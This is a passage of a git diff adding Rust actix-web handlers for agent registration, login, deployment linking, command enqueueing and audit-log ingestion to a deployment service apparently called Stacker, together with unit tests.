"secret"); + } + + #[test] + fn registry_auth_vault_config_round_trips() { + let auth = RegistryAuthCommandRequest { + registry: "docker.io".to_string(), + username: "optimum".to_string(), + password: "secret".to_string(), + }; + + let config = registry_auth_to_vault_config(&auth).expect("vault config should serialize"); + assert_eq!(config.content_type, "application/json"); + assert_eq!(config.file_mode, "0600"); + + let parsed = parse_registry_auth_config(&config).expect("vault config should parse"); + assert_eq!(parsed, auth); + } +} + +fn is_compose_file(file_name: &str, content_type: &str) -> bool { + if super::is_compose_filename(file_name) { + return true; + } + + content_type == "text/yaml" && matches!(file_name, "docker-compose" | "compose") +} + +fn normalize_compose_filename(file_name: &str) -> String { + if file_name.ends_with(".yml") || file_name.ends_with(".yaml") { + return file_name.to_string(); + } + + format!("{}.yml", file_name) +} + +fn resolve_destination_path(file: &serde_json::Value, default_path: String) -> String { + get_str(file, "destination_path") + .map(|s| s.to_string()) + .unwrap_or(default_path) +} + +fn build_app_config( + content: &str, + content_type: String, + destination_path: String, + file: &serde_json::Value, + default_mode: &str, +) -> AppConfig { + let file_mode = get_str(file, "file_mode") + .unwrap_or(default_mode) + .to_string(); + + AppConfig { + content: content.to_string(), + content_type, + destination_path, + file_mode, + owner: get_str(file, "owner").map(|s| s.to_string()), + group: get_str(file, "group").map(|s| s.to_string()), + } +} + +fn get_str<'a>(file: &'a serde_json::Value, key: &str) -> Option<&'a str> { + file.get(key).and_then(|v| v.as_str()) +} + +pub(crate) fn detect_content_type(file_name: &str) -> &'static str { + if file_name.ends_with(".json") { + "application/json" + } else if file_name.ends_with(".yml") || file_name.ends_with(".yaml") { + "text/yaml" + } else if file_name.ends_with(".toml") { + "text/toml" + } else if file_name.ends_with(".conf") { + "text/plain" + } else if file_name.ends_with(".env") { + "text/plain" + } else { + "text/plain" + } +} diff --git a/stacker/stacker/src/routes/agent/audit.rs b/stacker/stacker/src/routes/agent/audit.rs new file mode 100644 index 0000000..eae1417 --- /dev/null +++ b/stacker/stacker/src/routes/agent/audit.rs @@ -0,0 +1,153 @@ +use crate::db::agent_audit_log as audit_db; +use crate::helpers::JsonResponse; +use crate::models::agent_audit_log::{AgentAuditLog, AuditBatchRequest}; +use actix_web::error::ErrorUnauthorized; +use actix_web::{get, post, web, HttpRequest, HttpResponse, Result}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; + +// ── POST /api/v1/agent/audit ─────────────────────────────────────────────── + +#[derive(Debug, Serialize)] +pub struct IngestResponse { + pub accepted: usize, +} + +/// Receive a batch of audit events from the Status Panel. +/// +/// Auth: `X-Internal-Key` header must match the `INTERNAL_SERVICES_ACCESS_KEY` +/// environment variable. +#[tracing::instrument(name = "Agent audit ingest", skip_all)] +#[post("/audit")] +pub async fn agent_audit_ingest_handler( + req: HttpRequest, + body: web::Json, + pool: web::Data, +) -> Result { + // Validate internal service key + let expected = std::env::var("INTERNAL_SERVICES_ACCESS_KEY").unwrap_or_default(); + let provided = req + .headers() + .get("x-internal-key") + .and_then(|v| v.to_str().ok()) + .unwrap_or_default(); + + if expected.is_empty() || provided != expected { + return Err(ErrorUnauthorized("invalid internal key")); + } + + // Short-circuit on empty batch + if body.events.is_empty() { + return Ok(HttpResponse::Ok().json(IngestResponse { accepted: 0 })); + } + + let accepted = audit_db::insert_batch(&pool, &body.installation_hash, &body.events) + .await + .map_err(|err| { + JsonResponse::<()>::build() + .internal_server_error(format!("Failed to store audit events: {}", err)) + })?; + + Ok(HttpResponse::Ok().json(IngestResponse { accepted })) +} + +// ── GET /api/v1/agent/audit ──────────────────────────────────────────────── + +#[derive(Debug, Deserialize)] +pub struct AuditQueryParams { + pub installation_hash: Option, + pub event_type: Option, + pub limit: Option, +} + +/// Query the audit log. +/// +/// Auth: standard JWT or OAuth2 user auth (handled by middleware). +#[tracing::instrument(name = "Agent audit query", skip_all)] +#[get("/audit")] +pub async fn agent_audit_query_handler( + params: web::Query, + pool: web::Data, +) -> Result { + let limit = params.limit.unwrap_or(50).min(100).max(1); + + let logs: Vec = audit_db::fetch_recent( + &pool, + params.installation_hash.as_deref(), + params.event_type.as_deref(), + limit, + ) + .await + .map_err(|err| { + JsonResponse::<()>::build() + .internal_server_error(format!("Failed to fetch audit log: {}", err)) + })?; + + Ok(HttpResponse::Ok().json(logs)) +} + +// ── Unit tests ───────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use super::*; + use crate::models::agent_audit_log::AuditBatchRequest; + + #[test] + fn test_audit_batch_request_deserializes() { + let json = r#"{ + "installation_hash": "abc123", + "events": [ + { + "id": 1, + "event_type": "deploy_start", + "payload": {"key": "value"}, + "created_at": 1711000000 + } + ] + }"#; + + let req: AuditBatchRequest = serde_json::from_str(json).expect("should deserialize"); + assert_eq!(req.installation_hash, "abc123"); + assert_eq!(req.events.len(), 1); + assert_eq!(req.events[0].event_type, "deploy_start"); + assert_eq!(req.events[0].id, 1); + assert_eq!(req.events[0].created_at, 1711000000); + } + + #[test] + fn test_empty_events_batch() { + let json = r#"{"installation_hash": "abc123", "events": []}"#; + let req: AuditBatchRequest = serde_json::from_str(json).expect("should deserialize"); + assert_eq!(req.events.len(), 0); + // With an empty events list the handler returns accepted: 0 without DB calls. + // We test the DB layer short-circuit via the check in insert_batch. + } + + #[test] + fn test_fetch_recent_defaults() { + // The limit cap logic lives in fetch_recent; verify the AuditQueryParams default. + let params = AuditQueryParams { + installation_hash: None, + event_type: None, + limit: None, + }; + let effective_limit = params.limit.unwrap_or(50).min(100).max(1); + assert_eq!(effective_limit, 50); + + // Over-limit is capped at 100 + let params_over = AuditQueryParams { + installation_hash: None, + event_type: None, + limit: Some(9999), + }; + let capped = params_over.limit.unwrap_or(50).min(100).max(1); + assert_eq!(capped, 100); + } + + #[test] + #[ignore] // Requires a live database + fn test_insert_batch_integration() { + // Integration test placeholder — run with `cargo test -- --ignored` + } +} diff --git a/stacker/stacker/src/routes/agent/enqueue.rs b/stacker/stacker/src/routes/agent/enqueue.rs new file mode 100644 index 0000000..68d4d06 --- /dev/null +++ b/stacker/stacker/src/routes/agent/enqueue.rs @@ -0,0 +1,321 @@ +use crate::configuration::Settings; +use crate::db; +use crate::forms::status_panel; +use crate::helpers::{ + extract_capabilities, has_capability, has_capability_value, AgentPgPool, JsonResponse, + NPM_CREDENTIAL_SOURCE_KEY, +}; +use crate::models::{Command, CommandPriority, User}; +use crate::routes::command::enrich_deploy_app_with_compose; +use crate::routes::legacy_installations::{resolve_owned_deployment_by_hash, OwnedDeployment}; +use actix_web::{post, web, Responder, Result}; +use serde::Deserialize; +use std::sync::Arc; + +const CONFIGURE_PROXY_CAPABILITY_MODE_ENV: &str = "STACKER_CONFIGURE_PROXY_CAPABILITY_MODE"; +const PIPE_COMMAND_TYPES: &[&str] = &["activate_pipe", "deactivate_pipe", "trigger_pipe"]; + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +enum ConfigureProxyCapabilityMode { + Warn, + Enforce, +} + +impl ConfigureProxyCapabilityMode { + fn from_env() -> Self { + Self::from_value( + std::env::var(CONFIGURE_PROXY_CAPABILITY_MODE_ENV) + .ok() + .as_deref(), + ) + } + + fn from_value(value: Option<&str>) -> Self { + match value.unwrap_or("warn").trim().to_ascii_lowercase().as_str() { + "enforce" | "true" | "1" => Self::Enforce, + _ => Self::Warn, + } + } +} + +fn configure_proxy_requires_vault_capability(capabilities: &[String]) -> bool { + has_capability_value(capabilities, NPM_CREDENTIAL_SOURCE_KEY, "vault") +} + +fn command_requires_pipes_capability(command_type: &str) -> bool { + PIPE_COMMAND_TYPES.contains(&command_type) +} + +#[derive(Debug, Deserialize)] +pub struct EnqueueRequest { + pub deployment_hash: String, + pub command_type: String, + #[serde(default)] + pub priority: Option, + #[serde(default)] + pub parameters: Option, + #[serde(default)] + pub timeout_seconds: Option, +} + +#[tracing::instrument(name = "Agent enqueue command", skip_all)] +#[post("/commands/enqueue")] +pub async fn enqueue_handler( + user: web::ReqData>, + payload: web::Json, + agent_pool: web::Data, + settings: web::Data, +) -> Result { + if payload.deployment_hash.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required")); + } + + if payload.command_type.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("command_type is required")); + } + + let owned_deployment = resolve_owned_deployment_by_hash( + agent_pool.as_ref(), + settings.get_ref(), + user.as_ref(), + &payload.deployment_hash, + ) + .await?; + let project_id = project_id_from_owned_deployment(&owned_deployment); + + // Validate parameters + let validated_parameters = + status_panel::validate_command_parameters(&payload.command_type, &payload.parameters) + .map_err(|err| JsonResponse::<()>::build().bad_request(err))?; + + let requires_pipes_capability = command_requires_pipes_capability(&payload.command_type); + + let agent = if payload.command_type == "configure_proxy" + || requires_pipes_capability + || validated_parameters + .as_ref() + .and_then(|params| params.get("runtime")) + .and_then(|value| value.as_str()) + == Some("kata") + { + db::agent::fetch_by_deployment_hash(agent_pool.as_ref(), &payload.deployment_hash) + .await + .map_err(|err| { + tracing::error!("Failed to fetch agent: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })? + } else { + None + }; + + // If runtime=kata requested, verify agent supports it + if let Some(ref params) = validated_parameters { + if params.get("runtime").and_then(|v| v.as_str()) == Some("kata") { + let has_kata = agent + .as_ref() + .map(|agent| extract_capabilities(agent.capabilities.clone())) + .map(|capabilities| has_capability(&capabilities, "kata")) + .unwrap_or(false); + + if !has_kata { + return Err(JsonResponse::<()>::build().bad_request( + "Agent does not support Kata runtime. Check agent capabilities at GET /deployments/{hash}/capabilities" + )); + } + } + } + + if requires_pipes_capability { + let capabilities = agent + .as_ref() + .map(|agent| extract_capabilities(agent.capabilities.clone())) + .unwrap_or_default(); + + if !has_capability(&capabilities, "pipes") { + return Err(JsonResponse::<()>::build().bad_request( + "Agent does not support pipe commands. Check agent capabilities at GET /deployments/{hash}/capabilities" + )); + } + } + + if payload.command_type == "configure_proxy" { + let capabilities = agent + .as_ref() + .map(|agent| extract_capabilities(agent.capabilities.clone())) + .unwrap_or_default(); + + if !configure_proxy_requires_vault_capability(&capabilities) { + let message = "Agent does not advertise npm_credential_source=vault. Re-link the Status Panel agent or update the installer before running configure_proxy."; + match ConfigureProxyCapabilityMode::from_env() { + ConfigureProxyCapabilityMode::Warn => { + tracing::warn!( + deployment_hash = %payload.deployment_hash, + capabilities = ?capabilities, + "configure_proxy queued without Vault capability: {}", + message + ); + } + ConfigureProxyCapabilityMode::Enforce => { + return Err(JsonResponse::<()>::build().bad_request(message)); + } + } + } + } + + let final_parameters = if payload.command_type == "deploy_app" { + enrich_deploy_app_with_compose( + &payload.deployment_hash, + validated_parameters, + &settings.vault, + agent_pool.as_ref(), + project_id, + ) + .await + .map_err(|error| { + tracing::error!( + deployment_hash = %payload.deployment_hash, + error = %error, + "Failed to enrich deploy_app command before enqueue" + ); + JsonResponse::<()>::build().internal_server_error(error) + })? + } else { + validated_parameters + }; + + // Generate command ID + let command_id = format!("cmd_{}", uuid::Uuid::new_v4()); + + // Parse priority + let priority = payload + .priority + .as_ref() + .and_then(|p| match p.to_lowercase().as_str() { + "low" => Some(CommandPriority::Low), + "normal" => Some(CommandPriority::Normal), + "high" => Some(CommandPriority::High), + "critical" => Some(CommandPriority::Critical), + _ => None, + }) + .unwrap_or(CommandPriority::Normal); + + // Build command + let mut command = Command::new( + command_id.clone(), + payload.deployment_hash.clone(), + payload.command_type.clone(), + user.id.clone(), + ) + .with_priority(priority.clone()); + + if let Some(params) = &final_parameters { + command = command.with_parameters(params.clone()); + } + + if let Some(timeout) = payload.timeout_seconds { + command = command.with_timeout(timeout); + } + + // Insert command + let saved = db::command::insert(agent_pool.as_ref(), &command) + .await + .map_err(|err| { + tracing::error!("Failed to insert command: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + // Add to queue - agent will poll and pick it up + db::command::add_to_queue( + agent_pool.as_ref(), + &saved.command_id, + &saved.deployment_hash, + &priority, + ) + .await + .map_err(|err| { + tracing::error!("Failed to add command to queue: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + // Extract runtime for tracing + let runtime = final_parameters + .as_ref() + .and_then(|p| p.get("runtime")) + .and_then(|v| v.as_str()) + .unwrap_or("runc"); + + tracing::info!( + command_id = %saved.command_id, + deployment_hash = %saved.deployment_hash, + command_type = %payload.command_type, + runtime = %runtime, + "Command enqueued, agent will poll" + ); + + Ok(JsonResponse::build() + .set_item(Some(saved)) + .created("Command enqueued")) +} + +fn project_id_from_owned_deployment(deployment: &OwnedDeployment) -> Option { + match deployment { + OwnedDeployment::Native(deployment) => Some(deployment.project_id), + OwnedDeployment::Legacy(_) => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn configure_proxy_capability_mode_defaults_to_warn() { + assert_eq!( + ConfigureProxyCapabilityMode::from_value(None), + ConfigureProxyCapabilityMode::Warn + ); + } + + #[test] + fn configure_proxy_capability_mode_accepts_enforce_flag() { + assert_eq!( + ConfigureProxyCapabilityMode::from_value(Some("enforce")), + ConfigureProxyCapabilityMode::Enforce + ); + } + + #[test] + fn configure_proxy_requires_vault_capability_marker() { + assert!(configure_proxy_requires_vault_capability(&[ + "npm_credential_source=vault".to_string() + ])); + assert!(!configure_proxy_requires_vault_capability(&[ + "status_panel".to_string() + ])); + } + + #[test] + fn pipe_commands_require_pipe_capability() { + assert!(command_requires_pipes_capability("activate_pipe")); + assert!(command_requires_pipes_capability("deactivate_pipe")); + assert!(command_requires_pipes_capability("trigger_pipe")); + assert!(!command_requires_pipes_capability("restart")); + } + + #[test] + fn native_owned_deployment_exposes_project_id_for_deploy_app_enrichment() { + let deployment = crate::models::Deployment::new( + 65, + Some("user-1".to_string()), + "deployment_test".to_string(), + "active".to_string(), + "runc".to_string(), + serde_json::json!({}), + ); + + assert_eq!( + project_id_from_owned_deployment(&OwnedDeployment::Native(deployment)), + Some(65) + ); + } +} diff --git a/stacker/stacker/src/routes/agent/link.rs b/stacker/stacker/src/routes/agent/link.rs new file mode 100644 index 0000000..bce2767 --- /dev/null +++ b/stacker/stacker/src/routes/agent/link.rs @@ -0,0 +1,244 @@ +use crate::connectors::user_service::UserServiceConnector; +use crate::{db, helpers, helpers::AgentPgPool, models}; +use actix_web::{post, web, HttpRequest, HttpResponse, Result}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct LinkAgentRequest { + pub session_token: String, + pub deployment_id: String, + pub server_fingerprint: serde_json::Value, + #[serde(default)] + pub capabilities: Vec, +} + +#[derive(Debug, Serialize)] +pub struct LinkAgentResponse { + pub agent_id: String, + pub agent_token: String, + pub deployment_hash: String, + pub dashboard_url: Option, +} + +fn normalized_status_panel_capabilities(capabilities: &[String]) -> serde_json::Value { + let mut normalized = capabilities.to_vec(); + if !normalized + .iter() + .any(|capability| capability == "status_panel") + { + normalized.push("status_panel".to_string()); + } + serde_json::json!(normalized) +} + +/// Generate a secure random agent token (86 characters) +fn generate_agent_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +/// POST /api/v1/agent/link +/// +/// Link an agent to a specific deployment using a session token (OAuth access_token). +/// The session_token proves the user authenticated via /api/v1/agent/login. +/// Stacker validates token ownership, checks the user owns the deployment, +/// then creates or returns an agent with credentials. +#[tracing::instrument(name = "Link agent to deployment", skip_all)] +#[post("/link")] +pub async fn link_handler( + payload: web::Json, + api_pool: web::Data, + agent_pool: web::Data, + vault_client: web::Data, + user_service: web::Data>, + req: HttpRequest, +) -> Result { + // 1. Validate session_token by fetching user profile + let profile = user_service + .get_user_profile(&payload.session_token) + .await + .map_err(|e| { + tracing::warn!("Invalid session token for link request: {:?}", e); + helpers::JsonResponse::::build() + .forbidden("Invalid or expired session. Please login again.") + })?; + + // 2. Verify user owns the requested deployment + let deployment = + db::deployment::fetch_by_deployment_hash(api_pool.get_ref(), &payload.deployment_id) + .await + .map_err(|e| { + helpers::JsonResponse::::build() + .internal_server_error(format!("Database error: {}", e)) + })?; + + let deployment = deployment.ok_or_else(|| { + helpers::JsonResponse::::build().not_found("Deployment not found") + })?; + + // Check ownership: deployment.user_id must match the authenticated user + if deployment.user_id.as_deref() != Some(&profile.email) { + tracing::warn!( + user = %profile.email, + deployment_user = ?deployment.user_id, + deployment_hash = %payload.deployment_id, + "User attempted to link to deployment they don't own" + ); + return Err(helpers::JsonResponse::::build() + .forbidden("You do not own this deployment")); + } + + // 3. Create or reuse agent for this deployment + let existing_agent = + db::agent::fetch_by_deployment_hash(agent_pool.as_ref(), &deployment.deployment_hash) + .await + .map_err(|e| { + helpers::JsonResponse::::build().internal_server_error(e) + })?; + + let (agent, agent_token) = if let Some(mut existing) = existing_agent { + tracing::info!( + "Agent already exists for deployment {}, reusing", + deployment.deployment_hash + ); + + // Update system_info with new fingerprint + existing.system_info = Some(payload.server_fingerprint.clone()); + existing.capabilities = Some(normalized_status_panel_capabilities(&payload.capabilities)); + let existing = db::agent::update(agent_pool.as_ref(), existing) + .await + .map_err(|e| { + helpers::JsonResponse::::build().internal_server_error(e) + })?; + + // Fetch existing token from Vault or regenerate + let token = vault_client + .fetch_agent_token(&deployment.deployment_hash) + .await + .unwrap_or_else(|_| { + tracing::warn!("Existing agent found but token missing in Vault, regenerating"); + let new_token = generate_agent_token(); + let vault = vault_client.clone(); + let hash = deployment.deployment_hash.clone(); + let token = new_token.clone(); + actix_web::rt::spawn(async move { + if let Err(e) = vault.store_agent_token(&hash, &token).await { + tracing::error!("Failed to store regenerated token in Vault: {:?}", e); + } + }); + new_token + }); + + (existing, token) + } else { + // Create new agent + let mut agent = models::Agent::new(deployment.deployment_hash.clone()); + agent.system_info = Some(payload.server_fingerprint.clone()); + agent.capabilities = Some(normalized_status_panel_capabilities(&payload.capabilities)); + + let agent_token = generate_agent_token(); + + let saved_agent = db::agent::insert(agent_pool.as_ref(), agent) + .await + .map_err(|e| { + helpers::JsonResponse::::build().internal_server_error(e) + })?; + + // Store token in Vault + let vault = vault_client.clone(); + let hash = deployment.deployment_hash.clone(); + let token = agent_token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + match vault.store_agent_token(&hash, &token).await { + Ok(_) => { + tracing::info!("Token stored in Vault for linked agent {}", hash); + break; + } + Err(e) => { + tracing::warn!("Vault store attempt {} failed: {:?}", retry + 1, e); + if retry < 2 { + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))) + .await; + } + } + } + } + }); + + (saved_agent, agent_token) + }; + + // 4. Audit log + let audit_log = models::AuditLog::new( + Some(agent.id), + Some(deployment.deployment_hash.clone()), + "agent.linked_via_login".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "user_email": profile.email, + "deployment_id": deployment.id, + })) + .with_ip( + req.peer_addr() + .map(|addr| addr.ip().to_string()) + .unwrap_or_default(), + ); + + if let Err(err) = db::agent::log_audit(agent_pool.as_ref(), audit_log).await { + tracing::warn!("Failed to log agent link audit: {:?}", err); + } + + tracing::info!( + agent_id = %agent.id, + deployment_hash = %deployment.deployment_hash, + user = %profile.email, + "Agent linked to deployment via user login" + ); + + Ok(HttpResponse::Ok().json(LinkAgentResponse { + agent_id: agent.id.to_string(), + agent_token, + deployment_hash: deployment.deployment_hash, + dashboard_url: Some(format!( + "https://try.direct/dashboard/deployments/{}", + deployment.id + )), + })) +} + +#[cfg(test)] +mod tests { + use super::normalized_status_panel_capabilities; + + #[test] + fn normalizes_status_panel_capabilities_without_duplicates() { + let normalized = normalized_status_panel_capabilities(&[ + "docker".to_string(), + "status_panel".to_string(), + "npm_credential_source=vault".to_string(), + ]); + + let capabilities: Vec = + serde_json::from_value(normalized).expect("capability array"); + assert_eq!( + capabilities + .iter() + .filter(|cap| *cap == "status_panel") + .count(), + 1 + ); + assert!(capabilities + .iter() + .any(|cap| cap == "npm_credential_source=vault")); + } +} diff --git a/stacker/stacker/src/routes/agent/login.rs b/stacker/stacker/src/routes/agent/login.rs new file mode 100644 index 0000000..e5111d1 --- /dev/null +++ b/stacker/stacker/src/routes/agent/login.rs @@ -0,0 +1,163 @@ +use crate::configuration::Settings; +use crate::connectors::user_service::UserServiceConnector; +use crate::{db, helpers}; +use actix_web::{post, web, HttpRequest, HttpResponse, Result}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; + +#[derive(Deserialize)] +pub struct AgentLoginRequest { + pub email: String, + pub password: String, +} + +impl std::fmt::Debug for AgentLoginRequest { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("AgentLoginRequest") + .field("email", &self.email) + .field("password", &"[REDACTED]") + .finish() + } +} + +#[derive(Debug, Serialize)] +pub struct DeploymentInfo { + pub deployment_id: String, + pub stack_name: String, + pub status: String, + pub created_at: Option, + pub server_ip: Option, +} + +#[derive(Debug, Serialize)] +pub struct AgentLoginResponse { + pub session_token: String, + pub user_id: String, + pub deployments: Vec, +} + +/// POST /api/v1/agent/login +/// +/// Proxy login for Status Panel agents. Authenticates the user against +/// the TryDirect OAuth server, then returns a session token and the +/// user's deployments so the agent can pick one to link to. +#[tracing::instrument(name = "Agent proxy login", skip_all)] +#[post("/login")] +pub async fn login_handler( + payload: web::Json, + settings: web::Data, + api_pool: web::Data, + user_service: web::Data>, + _req: HttpRequest, +) -> Result { + // 1. Authenticate user against TryDirect OAuth server + let auth_base = settings + .auth_url + .trim_end_matches("/me") + .trim_end_matches('/'); + let login_url = format!("{}/auth/login", auth_base); + + let http_client = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(15)) + .build() + .map_err(|e| { + helpers::JsonResponse::::build() + .internal_server_error(format!("HTTP client error: {}", e)) + })?; + + let resp = http_client + .post(&login_url) + .form(&[ + ("email", payload.email.as_str()), + ("password", payload.password.as_str()), + ]) + .send() + .await + .map_err(|e| { + tracing::error!("OAuth request failed: {:?}", e); + helpers::JsonResponse::::build() + .internal_server_error(format!("Authentication service unreachable: {}", e)) + })?; + + if !resp.status().is_success() { + let status = resp.status(); + let _body = resp.text().await.unwrap_or_default(); + tracing::warn!( + status = %status, + "Agent login authentication failed for {}", + payload.email + ); + return Err(helpers::JsonResponse::::build() + .forbidden(format!("Authentication failed ({})", status))); + } + + // Parse the OAuth token response + #[derive(Deserialize)] + struct TokenResp { + access_token: String, + } + + let token_resp: TokenResp = resp.json().await.map_err(|e| { + helpers::JsonResponse::::build() + .internal_server_error(format!("Invalid auth response: {}", e)) + })?; + + let access_token = token_resp.access_token; + + // 2. Fetch user profile using the access token + let profile = user_service + .get_user_profile(&access_token) + .await + .map_err(|e| { + tracing::error!("Failed to fetch user profile: {:?}", e); + helpers::JsonResponse::::build() + .internal_server_error(format!("Failed to fetch user profile: {}", e)) + })?; + + // 3. Fetch user's deployments from Stacker DB + let deployments = db::deployment::fetch_by_user(api_pool.get_ref(), &profile.email, 50) + .await + .map_err(|e| { + helpers::JsonResponse::::build() + .internal_server_error(format!("Failed to fetch deployments: {}", e)) + })?; + + let deployment_infos: Vec = deployments + .into_iter() + .filter(|d| d.deleted != Some(true)) + .map(|d| { + let stack_name = d + .metadata + .get("project_name") + .and_then(|v| v.as_str()) + .unwrap_or("Unknown Stack") + .to_string(); + + let server_ip = d + .metadata + .get("server_ip") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + DeploymentInfo { + deployment_id: d.deployment_hash.clone(), + stack_name, + status: d.status.clone(), + created_at: Some(d.created_at.format("%Y-%m-%d %H:%M").to_string()), + server_ip, + } + }) + .collect(); + + tracing::info!( + email = %payload.email, + deployments = deployment_infos.len(), + "Agent login successful" + ); + + Ok(HttpResponse::Ok().json(AgentLoginResponse { + session_token: access_token, + user_id: profile.email, + deployments: deployment_infos, + })) +} diff --git a/stacker/stacker/src/routes/agent/mod.rs b/stacker/stacker/src/routes/agent/mod.rs new file mode 100644 index 0000000..4ebd19b --- /dev/null +++ b/stacker/stacker/src/routes/agent/mod.rs @@ -0,0 +1,19 @@ +mod audit; +mod enqueue; +mod link; +mod login; +mod notifications; +mod register; +mod report; +mod snapshot; +mod wait; + +pub use audit::*; +pub use enqueue::*; +pub use link::*; +pub use login::*; +pub use notifications::*; +pub use register::*; +pub use report::*; +pub use snapshot::*; +pub use wait::*; diff --git a/stacker/stacker/src/routes/agent/notifications.rs b/stacker/stacker/src/routes/agent/notifications.rs new file mode 100644 index 0000000..7d16aa5 --- /dev/null +++ b/stacker/stacker/src/routes/agent/notifications.rs @@ -0,0 +1,50 @@ +use crate::{helpers, models}; +use actix_web::{get, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct NotificationsQuery { + pub deployment_hash: String, +} + +#[derive(Debug, Serialize, Default)] +pub struct NotificationsResponse { + pub notifications: Vec, +} + +#[tracing::instrument(name = "Agent list notifications", skip_all)] +#[get("/notifications")] +pub async fn notifications_handler( + agent: web::ReqData>, + query: web::Query, +) -> Result { + if agent.deployment_hash != query.deployment_hash { + return Err(helpers::JsonResponse::forbidden( + "Not authorized for this deployment", + )); + } + + Ok(helpers::JsonResponse::build() + .set_item(NotificationsResponse::default()) + .ok("Notifications fetched")) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn notifications_query_carries_deployment_hash() { + let query = NotificationsQuery { + deployment_hash: "deployment_123".to_string(), + }; + assert_eq!(query.deployment_hash, "deployment_123"); + } + + #[test] + fn notifications_response_defaults_to_empty_list() { + let response = NotificationsResponse::default(); + assert!(response.notifications.is_empty()); + } +} diff --git a/stacker/stacker/src/routes/agent/register.rs b/stacker/stacker/src/routes/agent/register.rs new file mode 100644 index 0000000..11cfcb7 --- /dev/null +++ b/stacker/stacker/src/routes/agent/register.rs @@ -0,0 +1,196 @@ +use crate::{db, helpers, helpers::AgentPgPool, models}; +use actix_web::{post, web, HttpRequest, HttpResponse, Result}; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Deserialize)] +pub struct RegisterAgentRequest { + pub deployment_hash: String, + #[allow(dead_code)] + pub public_key: Option, + pub capabilities: Vec, + pub system_info: serde_json::Value, + pub agent_version: String, +} + +#[derive(Debug, Serialize, Default)] +pub struct RegisterAgentResponse { + pub agent_id: String, + pub agent_token: String, + pub dashboard_version: String, + pub supported_api_versions: Vec, +} + +#[derive(Debug, Serialize)] +pub struct RegisterAgentResponseWrapper { + pub data: RegisterAgentResponseData, +} + +#[derive(Debug, Serialize)] +pub struct RegisterAgentResponseData { + pub item: RegisterAgentResponse, +} + +/// Generate a secure random agent token (86 characters) +fn generate_agent_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +#[tracing::instrument(name = "Register agent", skip_all)] +#[post("/register")] +pub async fn register_handler( + payload: web::Json, + agent_pool: web::Data, + vault_client: web::Data, + req: HttpRequest, +) -> Result { + // 1. Check if agent already registered (idempotent operation) + let existing_agent = + db::agent::fetch_by_deployment_hash(agent_pool.as_ref(), &payload.deployment_hash) + .await + .map_err(|err| { + helpers::JsonResponse::::build().internal_server_error(err) + })?; + + if let Some(mut existing) = existing_agent { + tracing::info!( + "Agent already registered for deployment {}, returning existing", + payload.deployment_hash + ); + + // Refresh agent metadata for existing registrations + existing.capabilities = Some(serde_json::json!(payload.capabilities)); + existing.version = Some(payload.agent_version.clone()); + existing.system_info = Some(payload.system_info.clone()); + let existing = db::agent::update(agent_pool.as_ref(), existing) + .await + .map_err(|err| { + tracing::error!("Failed to update agent metadata: {:?}", err); + helpers::JsonResponse::::build().internal_server_error(err) + })?; + + // Try to fetch existing token from Vault + let agent_token = vault_client + .fetch_agent_token(&payload.deployment_hash) + .await + .unwrap_or_else(|_| { + tracing::warn!("Existing agent found but token missing in Vault, regenerating"); + let new_token = generate_agent_token(); + let vault = vault_client.clone(); + let hash = payload.deployment_hash.clone(); + let token = new_token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_agent_token(&hash, &token).await.is_ok() { + tracing::info!("Token restored to Vault for {}", hash); + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))) + .await; + } + }); + new_token + }); + + let response = RegisterAgentResponseWrapper { + data: RegisterAgentResponseData { + item: RegisterAgentResponse { + agent_id: existing.id.to_string(), + agent_token, + dashboard_version: "2.0.0".to_string(), + supported_api_versions: vec!["1.0".to_string()], + }, + }, + }; + + return Ok(HttpResponse::Ok().json(response)); + } + + // 3. Create new agent + let mut agent = models::Agent::new(payload.deployment_hash.clone()); + agent.capabilities = Some(serde_json::json!(payload.capabilities)); + agent.version = Some(payload.agent_version.clone()); + agent.system_info = Some(payload.system_info.clone()); + + let agent_token = generate_agent_token(); + + // 4. Insert to DB first (source of truth) + let saved_agent = db::agent::insert(agent_pool.as_ref(), agent) + .await + .map_err(|err| { + tracing::error!("Failed to save agent to DB: {:?}", err); + helpers::JsonResponse::::build().internal_server_error(err) + })?; + + // 5. Store token in Vault asynchronously with retry (best-effort) + let vault = vault_client.clone(); + let hash = payload.deployment_hash.clone(); + let token = agent_token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + match vault.store_agent_token(&hash, &token).await { + Ok(_) => { + tracing::info!("Token stored in Vault for {} (attempt {})", hash, retry + 1); + break; + } + Err(e) => { + tracing::warn!( + "Failed to store token in Vault (attempt {}): {:?}", + retry 